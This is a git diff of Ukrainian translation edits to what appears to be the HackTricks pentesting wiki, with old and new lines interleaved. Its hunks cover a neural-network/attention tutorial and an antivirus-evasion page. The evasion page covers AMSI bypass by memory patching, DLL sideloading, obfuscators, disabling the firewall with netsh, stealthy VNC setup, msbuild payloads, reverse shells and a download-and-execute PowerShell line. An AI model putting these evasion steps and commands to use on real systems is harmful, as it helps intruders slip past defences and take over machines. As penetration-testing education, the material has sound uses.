* **Step 2:** Для кожного навчального прикладу виконайте прямий прохід для обчислення виходів.
|
||||
* **Step 3:** Обчисліть втрати.
|
||||
* **Step 4:** Обчисліть градієнти втрат щодо кожного параметра, використовуючи правило ланцюга.
|
||||
* **Step 5:** Оновіть параметри, використовуючи алгоритм оптимізації (наприклад, градієнтний спуск).
|
||||
|
||||
### **3. Математичне представлення**
|
||||
### **3. Mathematical Representation**
|
||||
|
||||
Розгляньте просту нейронну мережу з одним прихованим шаром:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### **4. Реалізація в PyTorch**
|
||||
### **4. PyTorch Implementation**
|
||||
|
||||
PyTorch спрощує цей процес за допомогою свого механізму autograd.
|
||||
PyTorch спрощує цей процес за допомогою свого автоград-двигуна.
|
||||
```python
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
|
|
|
@ -5,7 +5,7 @@
|
|||
Механізми уваги дозволяють нейронним мережам **зосереджуватися на конкретних частинах вхідних даних під час генерації кожної частини виходу**. Вони призначають різні ваги різним вхідним даним, допомагаючи моделі вирішити, які вхідні дані є найбільш релевантними для поставленого завдання. Це є критично важливим у таких завданнях, як машинний переклад, де розуміння контексту всього речення необхідне для точного перекладу.
|
||||
|
||||
{% hint style="success" %}
|
||||
Мета цього четвертого етапу дуже проста: **застосувати деякі механізми уваги**. Це будуть багато **повторюваних шарів**, які **захоплюють зв'язок слова у словнику з його сусідами в поточному реченні, що використовується для навчання LLM**.\
|
||||
Мета цього четвертого етапу дуже проста: **застосувати деякі механізми уваги**. Це будуть багато **повторюваних шарів**, які **захоплюватимуть зв'язок слова у словнику з його сусідами в поточному реченні, що використовується для навчання LLM**.\
|
||||
Для цього використовується багато шарів, тому багато навчальних параметрів будуть захоплювати цю інформацію.
|
||||
{% endhint %}
|
||||
|
||||
|
@ -15,7 +15,7 @@
|
|||
|
||||
#### Приклад: Машинний переклад
|
||||
|
||||
Розглянемо переклад німецького речення "Kannst du mir helfen diesen Satz zu übersetzen" на англійську. Переклад слово за словом не дасть граматично правильного англійського речення через відмінності в граматичних структурах між мовами. Механізм уваги дозволяє моделі зосереджуватися на релевантних частинах вхідного речення під час генерації кожного слова вихідного речення, що призводить до більш точного та узгодженого перекладу.
|
||||
Розглянемо переклад німецького речення "Kannst du mir helfen diesen Satz zu übersetzen" на англійську. Переклад слово за словом не дасть граматично правильного англійського речення через відмінності в граматичних структурах між мовами. Механізм уваги дозволяє моделі зосереджуватися на релевантних частинах вхідного речення під час генерації кожного слова вихідного речення, що призводить до більш точного та зв'язного перекладу.
|
||||
|
||||
### Вступ до самоуваги
|
||||
|
||||
|
@ -51,7 +51,7 @@
|
|||
|
||||
**Оцінка уваги між "shiny" та "shiny"**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
**Оцінка уваги між "sun" та "shiny"**
|
||||
|
||||
|
@ -111,7 +111,7 @@
|
|||
|
||||
### Підсумок процесу
|
||||
|
||||
1. **Обчисліть оцінки уваги**: Використовуйте скалярний добуток між вектором представлення цільового слова та векторами представлення всіх слів у послідовності.
|
||||
1. **Обчисліть оцінки уваги**: Використовуйте скалярний добуток між векторним представленням цільового слова та векторними представленнями всіх слів у послідовності.
|
||||
2. **Нормалізуйте оцінки для отримання ваг уваги**: Застосуйте функцію softmax до оцінок уваги, щоб отримати ваги, які в сумі дають 1.
|
||||
3. **Обчисліть вектор контексту**: Помножте векторне представлення кожного слова на його вагу уваги та підсумуйте результати.
|
||||
|
||||
|
@ -121,7 +121,7 @@
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
|
||||
|
||||
Запит - це дані, які використовуються, як і раніше, тоді як матриці ключів і значень - це просто випадкові навчальні матриці.
|
||||
Запит є даними, які використовуються, як і раніше, тоді як матриці ключів і значень - це просто випадкові навчальні матриці.
|
||||
|
||||
#### Крок 1: Обчислення запитів, ключів і значень
|
||||
|
||||
|
@ -165,12 +165,12 @@ values = torch.matmul(inputs, W_value)
|
|||
|
||||
**Масштабування оцінок**
|
||||
|
||||
Щоб запобігти тому, щоб скалярні добутки ставали занадто великими, масштабуйте їх за квадратним коренем розміру ключа `dk`:
|
||||
Щоб запобігти тому, щоб скалярні добутки ставали занадто великими, масштабуйте їх за квадратним коренем з розміру ключа `dk`:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="success" %}
|
||||
Оцінка ділиться на квадратний корінь розмірів, оскільки скалярні добутки можуть ставати дуже великими, і це допомагає їх регулювати.
|
||||
Оцінка ділиться на квадратний корінь з вимірів, оскільки скалярні добутки можуть ставати дуже великими, і це допомагає їх регулювати.
|
||||
{% endhint %}
|
||||
|
||||
**Застосування Softmax для отримання ваг уваги:** Як у початковому прикладі, нормалізуйте всі значення так, щоб їхня сума дорівнювала 1. 
|
||||
|
@ -179,7 +179,7 @@ values = torch.matmul(inputs, W_value)
|
|||
|
||||
#### Крок 3: Обчислення контекстних векторів
|
||||
|
||||
Як у початковому прикладі, просто складіть усі матриці значень, множачи кожну з них на її вагу уваги:
|
||||
Як у початковому прикладі, просто складіть усі матриці значень, помноживши кожну з них на її вагу уваги:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -234,7 +234,7 @@ print(sa_v2(inputs))
|
|||
|
||||
### Застосування Маски Причинної Уваги
|
||||
|
||||
Щоб реалізувати причинну увагу, ми застосовуємо маску до оцінок уваги **перед операцією softmax**, щоб залишкові значення все ще сумувалися до 1. Ця маска встановлює оцінки уваги майбутніх токенів на негативну нескінченність, забезпечуючи, що після softmax їх ваги уваги дорівнюють нулю.
|
||||
Щоб реалізувати причинну увагу, ми застосовуємо маску до оцінок уваги **перед операцією softmax**, щоб залишкові значення все ще складали 1. Ця маска встановлює оцінки уваги майбутніх токенів на негативну нескінченність, забезпечуючи, що після softmax їх ваги уваги дорівнюють нулю.
|
||||
|
||||
**Кроки**
|
||||
|
||||
|
@ -410,9 +410,9 @@ print("context_vecs.shape:", context_vecs.shape)
|
|||
Для ще однієї компактної та ефективної реалізації ви можете використовувати клас [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) у PyTorch.
|
||||
|
||||
{% hint style="success" %}
|
||||
Коротка відповідь ChatGPT про те, чому краще розділити виміри токенів між головами, а не дозволяти кожній голові перевіряти всі виміри всіх токенів:
|
||||
Коротка відповідь ChatGPT про те, чому краще розділити виміри токенів між головами, замість того, щоб кожна голова перевіряла всі виміри всіх токенів:
|
||||
|
||||
Хоча дозволити кожній голові обробляти всі вимірювання вбудовування може здаватися вигідним, оскільки кожна голова матиме доступ до всієї інформації, стандартною практикою є **розподіл вимірів вбудовування між головами**. Цей підхід забезпечує баланс між обчислювальною ефективністю та продуктивністю моделі та заохочує кожну голову вивчати різноманітні представлення. Тому розподіл вимірів вбудовування зазвичай є кращим, ніж дозволяти кожній голові перевіряти всі виміри.
|
||||
Хоча дозволити кожній голові обробляти всі вимірювання вбудовування може здаватися вигідним, оскільки кожна голова матиме доступ до всієї інформації, стандартною практикою є **розділення вимірів вбудовування між головами**. Цей підхід забезпечує баланс між обчислювальною ефективністю та продуктивністю моделі та заохочує кожну голову вивчати різноманітні представлення. Тому розподіл вимірів вбудовування зазвичай є кращим, ніж надання кожній голові можливості перевіряти всі виміри.
|
||||
{% endhint %}
|
||||
|
||||
## References
|
||||
|
|
|
@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в усній та письмовій формі_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -102,11 +102,11 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
|||
|
||||
Ця команда виведе список програм, які підлягають атаці через підміни DLL у "C:\Program Files\\" та DLL файли, які вони намагаються завантажити.
|
||||
|
||||
Я настійно рекомендую вам **самостійно дослідити програми, які можна підмінити через DLL/Sideloadable**, ця техніка досить непомітна, якщо її правильно виконати, але якщо ви використовуєте публічно відомі програми, які можна підмінити через DLL, вас можуть легко спіймати.
|
||||
Я настійно рекомендую вам **самостійно дослідити програми, які підлягають підміні DLL/можуть бути завантажені**, ця техніка досить непомітна, якщо її правильно виконати, але якщо ви використовуєте публічно відомі програми, які можуть бути завантажені через DLL, вас можуть легко спіймати.
|
||||
|
||||
Просто розмістивши шкідливу DLL з ім'ям, яке програма очікує завантажити, не запустить ваш вантаж, оскільки програма очікує деякі специфічні функції всередині цієї DLL, щоб вирішити цю проблему, ми використаємо іншу техніку, звану **DLL Proxying/Forwarding**.
|
||||
Просто розмістивши шкідливу DLL з ім'ям, яке програма очікує завантажити, не запустить ваш вантаж, оскільки програма очікує деякі специфічні функції всередині цієї DLL. Щоб вирішити цю проблему, ми використаємо іншу техніку, звану **DLL Проксіюванням/Пересиланням**.
|
||||
|
||||
**DLL Proxying** перенаправляє виклики, які програма робить з проксі (і шкідливої) DLL до оригінальної DLL, таким чином зберігаючи функціональність програми та здатність обробляти виконання вашого вантажу.
|
||||
**DLL Проксіювання** пересилає виклики, які програма робить з проксі (і шкідливої) DLL до оригінальної DLL, таким чином зберігаючи функціональність програми та здатність обробляти виконання вашого вантажу.
|
||||
|
||||
Я буду використовувати проект [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) від [@flangvik](https://twitter.com/Flangvik/)
|
||||
|
||||
|
@ -162,7 +162,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
|||
|
||||
## AMSI (Інтерфейс сканування антивірусного програмного забезпечення)
|
||||
|
||||
AMSI був створений для запобігання "[безфайловому шкідливому ПЗ](https://en.wikipedia.org/wiki/Fileless\_malware)". Спочатку антивірусні програми могли лише сканувати **файли на диску**, тому, якщо ви могли якимось чином виконати корисне навантаження **безпосередньо в пам'яті**, антивірус не міг нічого зробити, щоб цьому запобігти, оскільки не мав достатньої видимості.
|
||||
AMSI був створений для запобігання "[безфайловому шкідливому ПЗ](https://en.wikipedia.org/wiki/Fileless\_malware)". Спочатку антивірусні програми могли сканувати лише **файли на диску**, тому, якщо ви могли якимось чином виконати корисне навантаження **безпосередньо в пам'яті**, антивірус не міг нічого зробити, щоб цьому запобігти, оскільки не мав достатньої видимості.
|
||||
|
||||
Функція AMSI інтегрована в ці компоненти Windows.
|
||||
|
||||
|
@ -172,7 +172,7 @@ AMSI був створений для запобігання "[безфайло
|
|||
* JavaScript та VBScript
|
||||
* Макроси Office VBA
|
||||
|
||||
Вона дозволяє антивірусним рішенням перевіряти поведінку скриптів, відкриваючи вміст скриптів у формі, яка є як незашифрованою, так і не заплутаною.
|
||||
Вона дозволяє антивірусним рішенням перевіряти поведінку скриптів, відкриваючи вміст скриптів у формі, яка є як незашифрованою, так і не обфускованою.
|
||||
|
||||
Виконання `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` викличе наступне сповіщення в Windows Defender.
|
||||
|
||||
|
@ -184,15 +184,15 @@ AMSI був створений для запобігання "[безфайло
|
|||
|
||||
Є кілька способів обійти AMSI:
|
||||
|
||||
* **Заплутування**
|
||||
* **Обфускація**
|
||||
|
||||
Оскільки AMSI в основному працює з статичними виявленнями, тому модифікація скриптів, які ви намагаєтеся завантажити, може бути хорошим способом уникнути виявлення.
|
||||
|
||||
Однак AMSI має можливість розплутувати скрипти, навіть якщо у них є кілька шарів, тому заплутування може бути поганим варіантом залежно від того, як це зроблено. Це ускладнює уникнення. Хоча іноді все, що вам потрібно зробити, це змінити кілька імен змінних, і ви будете в порядку, тому це залежить від того, наскільки щось було позначено.
|
||||
Однак AMSI має можливість розшифровувати скрипти, навіть якщо вони мають кілька шарів, тому обфускація може бути поганим варіантом залежно від того, як це зроблено. Це ускладнює уникнення. Хоча іноді все, що вам потрібно зробити, це змінити кілька імен змінних, і ви будете в порядку, тому це залежить від того, наскільки щось було позначено.
|
||||
|
||||
* **Обхід AMSI**
|
||||
|
||||
Оскільки AMSI реалізується шляхом завантаження DLL у процес PowerShell (також cscript.exe, wscript.exe тощо), його можна легко підробити, навіть працюючи як неправа користувача. Через цей недолік у реалізації AMSI дослідники знайшли кілька способів уникнути сканування AMSI.
|
||||
Оскільки AMSI реалізується шляхом завантаження DLL у процес PowerShell (також cscript.exe, wscript.exe тощо), його можна легко підробити, навіть працюючи як неправа користувач. Через цей недолік у реалізації AMSI дослідники знайшли кілька способів уникнути сканування AMSI.
|
||||
|
||||
**Примусова помилка**
|
||||
|
||||
|
@ -224,13 +224,13 @@ Keep in mind, that this will probably get flagged once this post comes out, so y
|
|||
|
||||
**Memory Patching**
|
||||
|
||||
Цю техніку спочатку виявив [@RastaMouse](https://twitter.com/\_RastaMouse/), і вона полягає у знаходженні адреси функції "AmsiScanBuffer" в amsi.dll (відповідальної за сканування введених користувачем даних) та переписуванні її інструкціями, які повертають код E\_INVALIDARG, таким чином, результат фактичного сканування поверне 0, що інтерпретується як чистий результат.
|
||||
Цю техніку спочатку виявив [@RastaMouse](https://twitter.com/\_RastaMouse/) і вона полягає у знаходженні адреси для функції "AmsiScanBuffer" в amsi.dll (відповідальної за сканування введених користувачем даних) та переписуванні її інструкціями, які повертають код для E\_INVALIDARG, таким чином, результат фактичного сканування поверне 0, що інтерпретується як чистий результат.
|
||||
|
||||
{% hint style="info" %}
|
||||
Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) for a more detailed explanation.
|
||||
{% endhint %}
|
||||
|
||||
Існує також багато інших технік, які використовуються для обходу AMSI за допомогою PowerShell, ознайомтеся з [**цією сторінкою**](basic-powershell-for-pentesters/#amsi-bypass) та [цією репозиторією](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), щоб дізнатися більше про них.
|
||||
Існує також багато інших технік, які використовуються для обходу AMSI з powershell, ознайомтеся з [**цією сторінкою**](basic-powershell-for-pentesters/#amsi-bypass) та [цього репозиторію](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), щоб дізнатися більше про них.
|
||||
|
||||
Або цей скрипт, який через пам'яткове патчування буде патчити кожен новий Powersh
|
||||
|
||||
|
@ -240,7 +240,7 @@ Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamo
|
|||
|
||||
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# обфускатор**
|
||||
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Метою цього проекту є надання відкритого коду форку компіляційного пакету [LLVM](http://www.llvm.org/), здатного забезпечити підвищену безпеку програмного забезпечення через [обфускацію коду](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) та захист від підробки.
|
||||
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator демонструє, як використовувати мову `C++11/14` для генерації обфускованого коду під час компіляції без використання будь-якого зовнішнього інструменту та без модифікації компілятора.
|
||||
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator демонструє, як використовувати мову `C++11/14` для генерації, під час компіляції, обфускованого коду без використання будь-якого зовнішнього інструменту та без модифікації компілятора.
|
||||
* [**obfy**](https://github.com/fritzone/obfy): Додає шар обфускованих операцій, згенерованих за допомогою шаблонного метапрограмування C++, що ускладнить життя людині, яка хоче зламати додаток.
|
||||
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz - це обфускатор бінарних файлів x64, здатний обфускувати різні файли pe, включаючи: .exe, .dll, .sys
|
||||
* [**metame**](https://github.com/a0rtega/metame): Metame - це простий метаморфний кодовий двигун для довільних виконуваних файлів.
|
||||
|
@ -250,7 +250,7 @@ Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamo
|
|||
|
||||
## SmartScreen & MoTW
|
||||
|
||||
Ви, можливо, бачили цей екран під час завантаження деяких виконуваних файлів з Інтернету та їх виконання.
|
||||
Ви, можливо, бачили цей екран, коли завантажували деякі виконувані файли з Інтернету та виконували їх.
|
||||
|
||||
Microsoft Defender SmartScreen - це механізм безпеки, призначений для захисту кінцевого користувача від запуску потенційно шкідливих додатків.
|
||||
|
||||
|
@ -258,7 +258,7 @@ Microsoft Defender SmartScreen - це механізм безпеки, приз
|
|||
|
||||
SmartScreen в основному працює на основі репутації, що означає, що незвичайно завантажені програми активують SmartScreen, тим самим попереджаючи та заважаючи кінцевому користувачу виконувати файл (хоча файл все ще можна виконати, натиснувши Більше інформації -> Запустити все ж).
|
||||
|
||||
**MoTW** (Mark of The Web) - це [NTFS Alternate Data Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) з назвою Zone.Identifier, який автоматично створюється під час завантаження файлів з Інтернету разом з URL-адресою, з якої він був завантажений.
|
||||
**MoTW** (Mark of The Web) - це [NTFS Alternate Data Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) з назвою Zone.Identifier, який автоматично створюється під час завантаження файлів з Інтернету, разом з URL-адресою, з якої він був завантажений.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (237).png" alt=""><figcaption><p>Перевірка Zone.Identifier ADS для файлу, завантаженого з Інтернету.</p></figcaption></figure>
|
||||
|
||||
|
@ -304,17 +304,17 @@ Adding file: /TotallyLegitApp.exe
|
|||
|
||||
Оскільки payload буде завантажено безпосередньо в пам'ять без доступу до диска, нам потрібно буде лише подбати про патчинг AMSI для всього процесу.
|
||||
|
||||
Більшість C2 фреймворків (sliver, Covenant, metasploit, CobaltStrike, Havoc тощо) вже надають можливість виконувати збірки C# безпосередньо в пам'яті, але існують різні способи зробити це:
|
||||
Більшість C2 фреймворків (sliver, Covenant, metasploit, CobaltStrike, Havoc тощо) вже надають можливість виконувати збірки C# безпосередньо в пам'яті, але є різні способи зробити це:
|
||||
|
||||
* **Fork\&Run**
|
||||
|
||||
Це передбачає **створення нового жертвеного процесу**, ін'єкцію вашого шкідливого коду після експлуатації в цей новий процес, виконання вашого шкідливого коду, а коли закінчите, вбити новий процес. Це має свої переваги та недоліки. Перевага методу fork and run полягає в тому, що виконання відбувається **ззовні** нашого процесу Beacon implant. Це означає, що якщо щось у нашій дії після експлуатації піде не так або буде спіймано, є **набагато більша ймовірність** того, що наш **імплант виживе.** Недолік полягає в тому, що у вас є **більша ймовірність** бути спійманим за допомогою **поведінкових детекцій**.
|
||||
Це передбачає **створення нового жертвеного процесу**, ін'єкцію вашого шкідливого коду після експлуатації в цей новий процес, виконання вашого шкідливого коду, а коли закінчите, вбити новий процес. Це має свої переваги та недоліки. Перевага методу fork and run полягає в тому, що виконання відбувається **ззовні** нашого процесу Beacon implant. Це означає, що якщо щось у нашій дії після експлуатації піде не так або буде спіймано, є **набагато більша ймовірність** того, що наш **імплант виживе.** Недолік полягає в тому, що у вас є **більша ймовірність** бути спійманим за допомогою **поведінкових виявлень**.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* **Inline**
|
||||
|
||||
Це про ін'єкцію шкідливого коду після експлуатації **в його власний процес**. Таким чином, ви можете уникнути створення нового процесу та його сканування AV, але недолік полягає в тому, що якщо щось піде не так з виконанням вашого payload, є **набагато більша ймовірність** **втратити ваш beacon**, оскільки він може зламатися.
|
||||
Це про ін'єкцію шкідливого коду після експлуатації **в його власний процес**. Таким чином, ви можете уникнути створення нового процесу та його сканування AV, але недолік полягає в тому, що якщо щось піде не так з виконанням вашого payload, є **набагато більша ймовірність** **втрати вашого beacon**, оскільки він може зламатися.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -370,7 +370,7 @@ netsh advfirewall set allprofiles state off
|
|||
```
|
||||
### UltraVNC
|
||||
|
||||
Завантажте його з: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (вам потрібні бінарні завантаження, а не установка)
|
||||
Завантажте його з: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (вам потрібні бінарні завантаження, а не налаштування)
|
||||
|
||||
**НА ХОСТІ**: Виконайте _**winvnc.exe**_ і налаштуйте сервер:
|
||||
|
||||
|
@ -387,7 +387,7 @@ netsh advfirewall set allprofiles state off
|
|||
**ПОПЕРЕДЖЕННЯ:** Щоб зберегти прихованість, ви не повинні робити кілька речей
|
||||
|
||||
* Не запускайте `winvnc`, якщо він вже працює, або ви викличете [вікно сповіщення](https://i.imgur.com/1SROTTl.png). перевірте, чи він працює за допомогою `tasklist | findstr winvnc`
|
||||
* Не запускайте `winvnc` без `UltraVNC.ini` в тому ж каталозі, інакше відкриється [вікно конфігурації](https://i.imgur.com/rfMQWcf.png)
|
||||
* Не запускайте `winvnc` без `UltraVNC.ini` в тій же директорії, інакше відкриється [вікно конфігурації](https://i.imgur.com/rfMQWcf.png)
|
||||
* Не запускайте `winvnc -h` для отримання допомоги, або ви викличете [вікно сповіщення](https://i.imgur.com/oc18wcu.png)
|
||||
|
||||
### GreatSCT
|
||||
|
@ -416,11 +416,11 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
|||
```
|
||||
**Поточний захисник дуже швидко завершить процес.**
|
||||
|
||||
### Компіляція нашого власного реверс-шеллу
|
||||
### Компіляція нашого власного реверс-шелу
|
||||
|
||||
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
|
||||
|
||||
#### Перший C# реверс-шелл
|
||||
#### Перший C# реверс-шел
|
||||
|
||||
Скомпілюйте його з:
|
||||
```
|
||||
|
@ -565,11 +565,11 @@ https://github.com/TheWover/donut
|
|||
# Vulcan
|
||||
https://github.com/praetorian-code/vulcan
|
||||
```
|
||||
### More
|
||||
### Більше
|
||||
|
||||
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
@ -581,7 +581,7 @@ https://github.com/praetorian-code/vulcan
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
<summary>Підтримка HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|